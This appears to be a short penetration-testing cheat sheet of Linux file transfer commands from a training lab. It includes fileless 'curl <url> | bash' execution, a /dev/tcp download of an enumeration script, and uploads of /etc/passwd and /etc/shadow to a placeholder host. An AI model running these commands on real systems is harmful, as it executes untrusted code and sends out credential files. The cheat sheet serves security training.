Linux File Transfer Methods


File Transfer

Download Operations

Base64 Encoding / Decoding

cat hash.txt |base64 -w 0;echo (Encoding)

echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZL' (Decoding)

md5sum hash.txt

Web Downloads with Wget and cURL

Download a File Using wget

wget <url> -O <filename>

Download a File Using cURL

curl -o <filename> <url>

Fileless Attacks Using Linux

Fileless Download with cURL

curl <url> | bash

Fileless Download with wget

wget -qO- <url> | bash

Download with Bash (/dev/tcp)

Connect to the Target Webserver

exec 3<>/dev/tcp/<ip>/<port>

HTTP GET Request

echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print the Response

cat <&3

SSH Downloads

Enabling the SSH Server

sudo systemctl enable ssh

Starting the SSH Server

sudo systemctl start ssh

Checking for SSH Listening Port

netstat -lnpt

Linux - Downloading Files Using SCP

scp <user><ip>:/root/myroot.txt . 

Upload Operations

Web Upload

Start Web Server

sudo python3 -m pip install --user uploadserver

Create a Self-Signed Certificate

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Start Web Server

mkdir https && cd https

Linux - Upload Multiple Files

curl -X POST https://<ip>/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Alternative Web File Transfer Method

Creating a Web Server with Python3

 python3 -m http.server

Creating a Web Server with Python2.7

python2.7 -m SimpleHTTPServer

Creating a Web Server with PHP

php -S 0.0.0.0:8000

Creating a Web Server with Ruby

ruby -run -ehttpd . -p8000

Download the File from the Target Machine

wget <ip>:<port>/filetotransfer.txt

SCP Upload

File Upload using SCP

scp /etc/passwd <user>@<ip>:/home/htb-student/